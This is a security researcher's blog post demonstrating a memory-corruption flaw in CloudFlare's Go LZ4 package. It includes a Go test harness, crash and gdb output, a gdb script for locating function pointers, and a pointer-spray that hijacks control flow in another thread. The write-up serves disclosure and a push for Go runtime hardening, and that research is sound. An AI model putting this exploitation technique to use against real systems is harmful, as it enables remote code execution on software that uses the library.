I Was Coerced
A lot of people don't know this, but I've known Jaime Cochran for almost fifteen years. We've been friends as long as I've been on the Internet. So, when she jabbed me earlier tonight saying "Hey, why the hell haven't you looked at GoLang yet?", my first reaction was obviously "Kiss off". My second reaction was "fine, I guess I should at least search around".
As it turns out, CloudFlare (who I actually like quite a bit), has a vulnerable GoLang package on github that has been fairly popular. Last night I poked around a bit and got silly with the Go Stuffs. The result was the following source file:
package main
import (
"io/ioutil"
"golz4"
"fmt"
)
func main() {
input, err := ioutil.ReadFile("/home/x/lz4/go.lz4")
if err != nil {
fmt.Printf("failed: %#v\n", err)
}
output := make([]byte, (17 * 1024 * 1024))
err = lz4.Uncompress(input, output)
if err != nil {
fmt.Printf("failed: %#v\n", err)
}
}
Using this little beauty with CloudFlare's package resulted in the following Fun Times (TM). Note that I'm not even changing the contents of the mklz4.sh payload, I'm only adjusting the offset a bit. More details on this later.
donb@debian:~$ ./donblz4
fatal error: unexpected signal during runtime execution
[signal 0xb code=0x2 addr=0x2 pc=0x804bf11]
runtime stack:
runtime: unexpected return pc for runtime.sigpanic called from 0x804bf11
runtime.throw(0x8160045)
/home/x/lib/src/go/go/src/pkg/runtime/panic.c:520 +0x71
runtime: unexpected return pc for runtime.sigpanic called from 0x804bf11
runtime.sigpanic()
/home/x/lib/src/go/go/src/pkg/runtime/os_linux.c:222 +0x46
... and so on ...
Well because I have had just about enough of this LZ4 hacking crap, I was ready to call it a night. But, Ben Nagy (who I once got drunk with in Singapore, surprise, surprise) asked me to investigate a bit further. Why? He's interested in using this as an example to push for GoLang run-time hardening. I'm Pro-Ben (I honestly haven't given much thought to run-time hardening in Go ;-)) so I figured I'd help out.
I really have no idea whether people will care or listen to these details, or whether they'll even help with run-time hardening. But, what the heck, right? Let's try and Do Some Good, anyway.
Quick and Dirty
So the point of this is not necessarily to gain RCE, but to prove that RCE is possible. This is because libraries like CloudFlare's LZ4 package, like the other tests I've been performing against LZ4, are out of application context. Because of GoLang's memory layout, I cannot (in this short amount of time) develop a guaranteed one-shot RCE like I can for Erlang and Python.
But, attacking GoLang is much more profitable than Ruby. With Ruby, you never know where your memory chunk will end up in RAM and you never know whether there is a valid page prior to that chunk. In GoLang, things are much, much simpler.
(gdb) where
#0 LZ4_decompress_fast (source=0x18336000 "\017", dest=0x19348000 "", outputSize=17825792)
at /home/donb/go/src/golz4/src/lz4.c:823
#1 0x0804c212 in LZ4_uncompress (outputSize=, dest=,
source=) at /home/donb/go/src/golz4/src/lz4.h:193
#2 _cgo_e56f7980f8b8_Cfunc_LZ4_uncompress (v=0xb7d3eea4) at /home/donb/go/src/golz4/lz4.go:50
#3 0x08072125 in runtime.asmcgocall () at /home/donb/lib/src/go/go/src/pkg/runtime/asm_386.s:624
#4 0xb7d3eea4 in ?? ()
After loading up 'donblz4' and breaking at LZ4_decompress_fast, the function called by the GoLang bindings, we see the above call trace. All we really need to look at is the variable dest, which identifies the address at which the decompression payload will be stored. This is the address from which memory corruption will occur. So, the most likely memory segment to corrupt will be the one this address resides in.
Unlike Ruby, which uses Linux's standard glibc heap for new memory buffers/Objects, GoLang uses a completely separate memory segment. It creates a memory map that is Read and Write only. We can easily spot this by checking the process's memory mapping.
(gdb) info inferiors
Num Description Executable
* 1 process 8291 /home/donb/donblz4
(gdb) ^Z
[2]+ Stopped gdb -q donblz4
donb@debian:~$ cat /proc/8291/maps
08048000-0815f000 r-xp 00000000 fd:00 122015 /home/donb/donblz4
0815f000-0816f000 rw-p 00116000 fd:00 122015 /home/donb/donblz4
0816f000-081a4000 rw-p 00000000 00:00 0 [heap]
08200000-08205000 rw-p 00000000 00:00 0
08205000-17ec0000 ---p 00000000 00:00 0
17ec0000-1a500000 rw-p 00000000 00:00 0
1a500000-38302000 ---p 00000000 00:00 0
Obviously, the address at which dest points does not fall within the standard heap. As suggested above, there is an entirely separate memory chunk. What's great about this chunk is it isn't just allocated for our large LZ4 decompression payload. And, even if it were, it isn't the only type of data that lives there.
Scanning around that chunk of memory we can easily determine whether function addresses reside here, and whether they will sit at predictable offsets in RAM.
I generated a simple gdb script to identify addresses within memory that fit with the 'donblz4' executable regions
define scanlz4
set $x = ($arg0)
set $y = ($arg1)
set $x_start = ($arg2)
set $x_end = ($arg3)
while $x < $y
if *(unsigned int * )$x >= $x_start && *(unsigned int * )$x < $x_end
printf "%.08x: found value %.08x \n", $x, *$x
end
set $x += 4
end
end
Using the above script, even for our tiny do-nothing test executable, revealed over 50 results within the same chunk of memory as our dest buffer.
(gdb) scanlz4 0x183000e0 0x1a500000 0x08048000 0x0815f000
183000ec: found value 0807353a
18300124: found value 080fa3b8
18300144: found value 080fa3d8
18300164: found value 080fa398
18300184: found value 080fe278
183020b8: found value 08072109
183020d4: found value 08050a7a
18302130: found value 08070be2
18302298: found value 08051474
183022b4: found value 08051474
18302310: found value 0805cc20
18302338: found value 0805f204
183023b0: found value 08055ee0
183023d8: found value 0805f204
18302450: found value 08055ee0
183026f8: found value 0805f4b0
18302714: found value 0805f4b0
18304004: found value 080f2880
18304064: found value 080ecc81
^CQuit
We can easily see that these addresses point to actual function addresses by inspecting the symbol at each offset.
(gdb) x/8i 0x0807353a
0x807353a : pop %ecx
0x807353b : pop %ecx
0x807353c : test %eax,%eax
0x807353e : jne 0x80735de
0x8073544 : mov 0x2c(%esp),%ebx
0x8073548 : mov %ebx,(%esp)
0x807354b : mov 0x6c(%esp),%ebx
0x807354f : mov %ebx,0x4(%esp)
So now that we know where a bunch of function addresses are, we can really just adjust the LZ4 payload I've been using in all of my blog posts to spam 0x11223344 at a chunk of memory that has a high concentration of known function pointers.
Doing so demonstrates that these function pointers can be corrupted in a reliable fashion. What I end up controlling, however, are separate threads than the main one that LZ4 is executing within. In fact, the entire LZ4 payload hasn't even finished writing by the time the memory corruption triggers a SIGSEGV in another thread.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb743bb70 (LWP 8295)]
0x11223344 in ?? ()
(gdb) info threads
Id Target Id Frame
4 Thread 0xb6c3ab70 (LWP 8296) "donblz4" 0x0804c00d in LZ4_decompress_generic (targetOutputSize=0,
partialDecoding=0, prefix64k=1, endOnInput=0, outputSize=17825792, inputSize=0, dest=0x19348000 "",
source=0x18336000 "\017") at /home/donb/go/src/golz4/src/lz4.c:759
* 3 Thread 0xb743bb70 (LWP 8295) "donblz4" 0x11223344 in ?? ()
2 Thread 0xb7d3cb70 (LWP 8294) "donblz4" _fallback_vdso ()
at /home/donb/lib/src/go/go/src/pkg/runtime/rt0_linux_386.s:21
1 Thread 0xb7e4d6d0 (LWP 8291) "donblz4" _fallback_vdso ()
at /home/donb/lib/src/go/go/src/pkg/runtime/rt0_linux_386.s:21
(gdb)
So, there we have it. Because the dest buffer resides in the same memory chunk as function pointers, and there are no guard pages to hinder memory corruption, I have the ability to overwrite objects in memory that affect other threads.
All in all, this is pretty Good Times. I'm glad Jaime and Ben pushed me to bother with this because otherwise I would have just closed out with Erlang. Three remote RCE capable languages with LZ4 is pretty sick, though, and was deserving of my time.
Summary
So now we know that RCE can be achieved in GoLang. However, there are caveats
- Unlike Erlang and Python, memory layout isn't guaranteed
- The entire "compressed" LZ4 payload may proceed anything important (must jump over)
- This means that (for now) there is no universal one-shot exploit for GoLang via LZ4
- A Function-Spray doesn't necessarily cause a SIGSEGV before the pointer is executed
- This is sufficient evidence for improvement (hardening) of the GoLang runtime
- CloudFlare, please update your LZ4 repo
Best,
Don A. Bailey
Founder / CEO
Lab Mouse Security
@InfoSecMouse
https://www.securitymouse.com/